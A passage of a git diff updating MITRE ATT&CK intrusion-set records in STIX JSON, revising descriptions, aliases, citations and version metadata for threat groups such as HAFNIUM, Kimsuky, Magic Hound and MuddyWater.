2019" + }, + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." + } + ], + "name": "GALLIUM", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) is a group that has been active since at least 2012, primarily targeting high-profile telecommunications networks. [GALLIUM](https://attack.mitre.org/groups/G0093) has been identified in some reporting as likely a Chinese state-sponsored group, based in part on tools used and TTPs commonly associated with Chinese threat actors.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", + "type": "intrusion-set", + "id": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", + "x_mitre_version": "2.0", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security", + "Cybereason Nocturnus, @nocturnus" + ] + }, { "type": "intrusion-set", "id": "intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f", @@ -239710,10 +281794,10 @@ "x_mitre_version": "1.1" }, { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], + "id": "intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133", + "type": "intrusion-set", + "description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) is a financially motivated threat group active since at least 2019 that operates the [REvil](https://attack.mitre.org/software/S0496) Ransomware-as-a Service (RaaS). [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) provides backend infrastructure for affiliates recruited on underground forums to perpetrate high value deployments.(Citation: Secureworks REvil September 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Secureworks GOLD SOUTHFIELD)", + "name": "GOLD SOUTHFIELD", "external_references": [ { "external_id": "G0115", @@ -239736,16 +281820,19 @@ "description": "Secureworks. (n.d.). GOLD SOUTHFIELD. Retrieved October 6, 2020." } ], - "name": "GOLD SOUTHFIELD", - "description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) is a financially motivated threat group active since at least 2019 that operates the [REvil](https://attack.mitre.org/software/S0496) Ransomware-as-a Service (RaaS). [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) provides backend infrastructure for affiliates recruited on underground forums to perpetrate high value deployments.(Citation: Secureworks REvil September 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Secureworks GOLD SOUTHFIELD)", - "type": "intrusion-set", - "id": "intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "aliases": [ "GOLD SOUTHFIELD" ], - "modified": "2020-10-06T15:32:20.089Z", + "modified": "2021-04-26T12:52:34.528Z", "created": "2020-09-22T19:41:27.845Z", - "x_mitre_version": "1.0" + "x_mitre_contributors": [ + "Thijn Bukkems, Amazon" + ], + "x_mitre_version": "1.1" }, { "id": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", @@ -239817,7 +281904,7 @@ "aliases": [ "Gamaredon Group" ], - "modified": "2020-08-31T15:10:22.189Z", + "modified": "2021-01-20T22:20:20.981Z", "created": "2017-05-31T21:32:09.849Z", "x_mitre_contributors": [ "ESET", @@ -239845,15 +281932,15 @@ "description": "(Citation: Unit 42 Gorgon Group Aug 2018)" }, { - "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "source_name": "Unit 42 Gorgon Group Aug 2018", "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", - "source_name": "Unit 42 Gorgon Group Aug 2018" + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" } ], "aliases": [ "Gorgon Group" ], - "modified": "2020-03-30T19:06:47.872Z", + "modified": "2021-02-09T14:24:38.071Z", "created": "2018-10-17T00:14:20.652Z", "x_mitre_version": "1.4" }, @@ -239889,6 +281976,91 @@ "created": "2017-05-31T21:32:08.304Z", "x_mitre_version": "1.2" }, + { + "id": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "type": "intrusion-set", + "name": "HAFNIUM", + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. [HAFNIUM](https://attack.mitre.org/groups/G0125) primarily targets entities in the US across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)", + "external_references": [ + { + "external_id": "G0125", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0125" + }, + { + "source_name": "Operation Exchange Marauder", + "description": "(Citation: Volexity Exchange Marauder March 2021)" + }, + { + "source_name": "Microsoft HAFNIUM March 2020", + "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021." + }, + { + "source_name": "Volexity Exchange Marauder March 2021", + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "HAFNIUM", + "Operation Exchange Marauder" + ], + "modified": "2021-04-25T23:43:56.055Z", + "created": "2021-03-03T19:40:47.280Z", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security", + "Matt Brenton, Zurich Insurance Group", + "Mayuresh Dani, Qualys", + "Harshal Tupsamudre, Qualys" + ], + "x_mitre_version": "1.0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "G0126", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0126" + }, + { + "source_name": "Malwarebytes Higaisa 2020", + "url": "https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/", + "description": "Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021." + }, + { + "source_name": "Zscaler Higaisa 2020", + "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt", + "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021." + }, + { + "source_name": "PTSecurity Higaisa 2020", + "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/", + "description": "PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021." + } + ], + "name": "Higaisa", + "description": "[Higaisa](https://attack.mitre.org/groups/G0126) is a threat group suspected to have South Korean origins. [Higaisa](https://attack.mitre.org/groups/G0126) has targeted government, public, and trade organizations in North Korea; however, they have also carried out attacks in China, Japan, Russia, Poland, and other nations. [Higaisa](https://attack.mitre.org/groups/G0126) was first disclosed in early 2019 but is assessed to have operated as early as 2009.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)", + "type": "intrusion-set", + "id": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", + "aliases": [ + "Higaisa" + ], + "modified": "2021-04-22T02:12:43.892Z", + "created": "2021-03-05T18:54:56.267Z", + "x_mitre_version": "1.0", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security" + ] + }, { "external_references": [ { @@ -239977,14 +282149,34 @@ "x_mitre_version": "1.0" }, { + "id": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", "type": "intrusion-set", - "id": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Ke3chang", - "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more. (Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)", + "name": "Indrik Spider", + "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) is a financially motivated threat group that has leveraged the Dridex banking trojan since at least June 2014 and delivered ransomware variants since 2017.(Citation: Crowdstrike Indrik November 2018) ", + "external_references": [ + { + "external_id": "G0119", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0119" + }, + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Indrik Spider" + ], + "modified": "2021-04-20T02:00:43.762Z", + "created": "2021-01-06T17:46:35.134Z", + "x_mitre_version": "1.0" + }, + { "external_references": [ { "source_name": "mitre-attack", @@ -240027,7 +282219,7 @@ { "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" }, { "source_name": "APT15 Intezer June 2018", @@ -240035,6 +282227,14 @@ "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" } ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China. [Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more. (Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)", + "name": "Ke3chang", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "type": "intrusion-set", "aliases": [ "Ke3chang", "APT15", @@ -240044,7 +282244,7 @@ "Playful Dragon", "RoyalAPT" ], - "modified": "2020-05-07T18:49:43.973Z", + "modified": "2021-03-29T19:54:46.340Z", "created": "2017-05-31T21:31:47.177Z", "x_mitre_version": "1.3" }, @@ -240063,9 +282263,17 @@ "source_name": "Kimsuky", "description": "(Citation: Securelist Kimsuky Sept 2013)" }, + { + "source_name": "Thallium", + "description": "(Citation: Cybereason Kimsuky November 2020)" + }, + { + "source_name": "Black Banshee", + "description": "(Citation: Cybereason Kimsuky November 2020)" + }, { "source_name": "Velvet Chollima", - "description": "(Citation: Zdnet Kimsuky Dec 2018)" + "description": "(Citation: Zdnet Kimsuky Dec 2018)(Citation: ThreatConnect Kimsuky September 2020)" }, { "source_name": "EST Kimsuky April 2019", @@ -240077,6 +282285,11 @@ "url": "https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/", "description": "BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019." }, + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + }, { "source_name": "Securelist Kimsuky Sept 2013", "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/", @@ -240086,19 +282299,26 @@ "description": "Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.", "url": "https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/", "source_name": "Zdnet Kimsuky Dec 2018" + }, + { + "source_name": "ThreatConnect Kimsuky September 2020", + "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/", + "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020." } ], - "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korean-based threat group that has been active since at least September 2013. The group focuses on targeting Korean think tank as well as DPRK/nuclear-related targets. The group was attributed as the actor behind the Korea Hydro & Nuclear Power Co. compromise.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)", + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korean-based threat group that has been active since at least September 2013. The group initially focused on targeting Korean think tanks and DPRK/nuclear-related targets, expanding recently to the United States, Russia, and Europe. The group was attributed as the actor behind the Korea Hydro & Nuclear Power Co. compromise.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)(Citation: Cybereason Kimsuky November 2020)", "name": "Kimsuky", "type": "intrusion-set", "id": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "aliases": [ "Kimsuky", + "Thallium", + "Black Banshee", "Velvet Chollima" ], - "modified": "2020-03-30T02:56:46.530Z", + "modified": "2021-04-23T02:34:44.299Z", "created": "2019-08-26T15:03:02.577Z", - "x_mitre_version": "1.1" + "x_mitre_version": "2.0" }, { "type": "intrusion-set", @@ -240178,9 +282398,9 @@ "ZINC", "NICKEL ACADEMY" ], - "modified": "2020-10-02T16:21:21.624Z", + "modified": "2021-03-18T16:34:25.941Z", "created": "2017-05-31T21:32:03.807Z", - "x_mitre_version": "1.4" + "x_mitre_version": "1.5" }, { "type": "intrusion-set", @@ -240352,10 +282572,17 @@ "created": "2017-05-31T21:32:07.928Z" }, { + "created": "2019-09-13T12:37:10.394Z", + "modified": "2021-04-23T01:38:01.788Z", + "aliases": [ + "Machete", + "APT-C-43", + "El Machete" + ], "id": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", "type": "intrusion-set", "name": "Machete", - "description": "[Machete](https://attack.mitre.org/groups/G0095) is a group that has been active since at least 2010, targeting high-profile government entities in Latin American countries.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)", + "description": "[Machete](https://attack.mitre.org/groups/G0095) is a suspected Spanish-speaking cyber espionage group that has been active since at least 2010. It has primarily focused its operations within Latin America, with a particular emphasis on Venezuela, but also in the US, Europe, Russia, and parts of Asia. [Machete](https://attack.mitre.org/groups/G0095) generally targets high-profile organizations such as government institutions, intelligence services, and military units, as well as telecommunications and power companies.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)", "external_references": [ { "external_id": "G0095", @@ -240364,7 +282591,11 @@ }, { "source_name": "Machete", - "description": "(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)" + "description": "(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)(" + }, + { + "source_name": "APT-C-43", + "description": "(Citation: 360 Machete Sep 2020)" }, { "source_name": "El Machete", @@ -240384,31 +282615,33 @@ "source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019." + }, + { + "source_name": "360 Machete Sep 2020", + "url": "https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/", + "description": "kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries \u2014 HpReact campaign. Retrieved November 20, 2020." } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "aliases": [ - "Machete", - "El Machete" - ], - "modified": "2020-09-22T16:46:45.662Z", - "created": "2019-09-13T12:37:10.394Z", "x_mitre_contributors": [ "Matias Nicolas Porolli, ESET" ], - "x_mitre_version": "1.2" + "x_mitre_version": "2.0" }, { - "type": "intrusion-set", - "id": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Magic Hound", - "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive operations to collect intelligence, dating back as early as 2014. The group typically targets U.S. and the Middle Eastern military, as well as other organizations with government personnel, via complex social engineering campaigns.(Citation: FireEye APT35 2018)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2018-01-16T16:13:52.465Z", + "modified": "2021-04-25T22:34:23.617Z", + "aliases": [ + "Magic Hound", + "COBALT ILLUSION", + "Charming Kitten", + "ITG18", + "Phosphorus", + "Newscaster", + "APT35" ], "external_references": [ { @@ -240421,28 +282654,20 @@ "description": "(Citation: Unit 42 Magic Hound Feb 2017)" }, { - "source_name": "Cobalt Gypsy", - "description": "Based on overlapping hash values in reporting, Magic Hound activity appears to overlap with activity conducted by the group known as Cobalt Gypsy.(Citation: Secureworks Cobalt Gypsy Feb 2017)" + "source_name": "COBALT ILLUSION", + "description": "(Citation: Secureworks COBALT ILLUSION Threat Profile)" }, { - "source_name": "Operation Woolen-Goldfish", - "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the campaign Operation Woolen-Goldfish.(Citation: Unit 42 Magic Hound Feb 2017)" + "source_name": "Charming Kitten", + "description": "(Citation: ClearSky Charming Kitten Dec 2017)(Citation: Eweek Newscaster and Charming Kitten May 2014)(Citation: ClearSky Kittens Back 2 Oct 2019)(Citation: ClearSky Kittens Back 3 August 2020)" }, { - "source_name": "Ajax Security Team", - "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the group Ajax Security Team.(Citation: Unit 42 Magic Hound Feb 2017)" - }, - { - "source_name": "Operation Saffron Rose", - "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the campaign Operation Saffron Rose.(Citation: Unit 42 Magic Hound Feb 2017)" - }, - { - "source_name": "Rocket Kitten", - "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the adversary group Rocket Kitten.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: ClearSky Charming Kitten Dec 2017)" + "source_name": "ITG18", + "description": "(Citation: IBM ITG18 2020)" }, { "source_name": "Phosphorus", - "description": "(Citation: Microsoft Phosphorus Mar 2019)" + "description": "(Citation: Microsoft Phosphorus Mar 2019)(Citation: Microsoft Phosphorus Oct 2020)(Citation: US District Court of DC Phosphorus Complaint 2019)" }, { "source_name": "Newscaster", @@ -240463,38 +282688,64 @@ "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" }, { - "source_name": "Secureworks Cobalt Gypsy Feb 2017", - "description": "Counter Threat Unit Research Team. (2017, February 15). Iranian PupyRAT Bites Middle Eastern Organizations. Retrieved December 27, 2017.", - "url": "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations" + "source_name": "Secureworks COBALT ILLUSION Threat Profile", + "url": "https://www.secureworks.com/research/threat-profiles/cobalt-illusion", + "description": "Secureworks. (n.d.). COBALT ILLUSION Threat Profile. Retrieved April 14, 2021." }, { "source_name": "ClearSky Charming Kitten Dec 2017", "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" }, + { + "source_name": "Eweek Newscaster and Charming Kitten May 2014", + "url": "https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering", + "description": "Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 2021." + }, + { + "source_name": "ClearSky Kittens Back 2 Oct 2019", + "url": "https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf", + "description": "ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. Retrieved April 21, 2021." + }, + { + "source_name": "ClearSky Kittens Back 3 August 2020", + "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf", + "description": "ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021." + }, + { + "source_name": "IBM ITG18 2020", + "url": "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/", + "description": "Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021." + }, { "source_name": "Microsoft Phosphorus Mar 2019", "url": "https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/", "description": "Burt, T.. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020." + }, + { + "source_name": "Microsoft Phosphorus Oct 2020", + "url": "https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/", + "description": "Burt, T. (2020, October 28). Cyberattacks target international conference attendees. Retrieved March 8, 2021." + }, + { + "source_name": "US District Court of DC Phosphorus Complaint 2019", + "url": "https://noticeofpleadings.com/phosphorus/files/Complaint.pdf", + "description": "US District Court of DC. (2019, March 14). MICROSOFT CORPORATION v. JOHN DOES 1-2, CONTROLLING A COMPUTER NETWORK AND THEREBY INJURING PLAINTIFF AND ITS CUSTOMERS. Retrieved March 8, 2021." } ], - "aliases": [ - "Magic Hound", - "Cobalt Gypsy", - "Operation Woolen-Goldfish", - "Ajax Security Team", - "Operation Saffron Rose", - "Rocket Kitten", - "Phosphorus", - "Newscaster", - "APT35" + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-07-04T23:30:03.871Z", - "created": "2018-01-16T16:13:52.465Z", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, dating back as early as 2014. The group typically targets U.S. and Middle Eastern military organizations, as well as other government personnel, via complex social engineering campaigns.(Citation: FireEye APT35 2018)", + "name": "Magic Hound", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "type": "intrusion-set", + "x_mitre_version": "3.0", "x_mitre_contributors": [ + "Anastasios Pingios", "Bryan Lee" - ], - "x_mitre_version": "2.0" + ] }, { "type": "intrusion-set", @@ -240558,12 +282809,20 @@ }, { "created": "2017-05-31T21:31:55.093Z", - "modified": "2020-07-01T22:11:04.389Z", + "modified": "2021-04-27T20:16:16.057Z", "aliases": [ "Molerats", "Operation Molerats", "Gaza Cybergang" ], + "type": "intrusion-set", + "id": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Molerats", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) is an Arabic-speaking, politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States.(Citation: DustySky)(Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "external_id": "G0021", @@ -240576,15 +282835,16 @@ }, { "source_name": "Operation Molerats", - "description": "(Citation: FireEye Operation Molerats)" + "description": "(Citation: FireEye Operation Molerats)(Citation: Cybereason Molerats Dec 2020)" }, { "source_name": "Gaza Cybergang", - "description": "(Citation: DustySky)(Citation: Kaspersky MoleRATs April 2019)" + "description": "(Citation: DustySky)(Citation: Kaspersky MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020)" }, { "source_name": "DustySky", - "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016." + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" }, { "url": "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf", @@ -240596,31 +282856,20 @@ "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020." }, + { + "source_name": "Cybereason Molerats Dec 2020", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020." + }, { "source_name": "FireEye Operation Molerats", "description": "Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.", "url": "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "description": "[Molerats](https://attack.mitre.org/groups/G0021) is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)", - "name": "Molerats", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "id": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", - "type": "intrusion-set", - "x_mitre_version": "1.1" + "x_mitre_version": "2.0" }, { - "type": "intrusion-set", - "id": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "MuddyWater", - "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) is an Iranian threat group that has primarily targeted Middle Eastern nations, and has also targeted European and North American nations. The group's victims are mainly in the telecommunications, government (IT services), and oil sectors. Activity from this group was previously linked to [FIN7](https://attack.mitre.org/groups/G0046), but the group is believed to be a distinct group possibly motivated by espionage.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], "external_references": [ { "source_name": "mitre-attack", @@ -240631,13 +282880,25 @@ "source_name": "MuddyWater", "description": "(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)" }, + { + "source_name": "Earth Vetala ", + "description": "(Citation: Trend Micro Muddy Water March 2021)" + }, + { + "source_name": "MERCURY", + "description": "(Citation: Anomali Static Kitten February 2021)" + }, + { + "source_name": "Static Kitten", + "description": "(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)" + }, { "source_name": "Seedworm", - "description": "(Citation: Symantec MuddyWater Dec 2018)" + "description": "(Citation: Symantec MuddyWater Dec 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)" }, { "source_name": "TEMP.Zagros", - "description": "(Citation: FireEye MuddyWater Mar 2018)" + "description": "(Citation: FireEye MuddyWater Mar 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)" }, { "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/", @@ -240664,20 +282925,111 @@ "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020." }, + { + "source_name": "Trend Micro Muddy Water March 2021", + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021." + }, + { + "source_name": "Anomali Static Kitten February 2021", + "url": 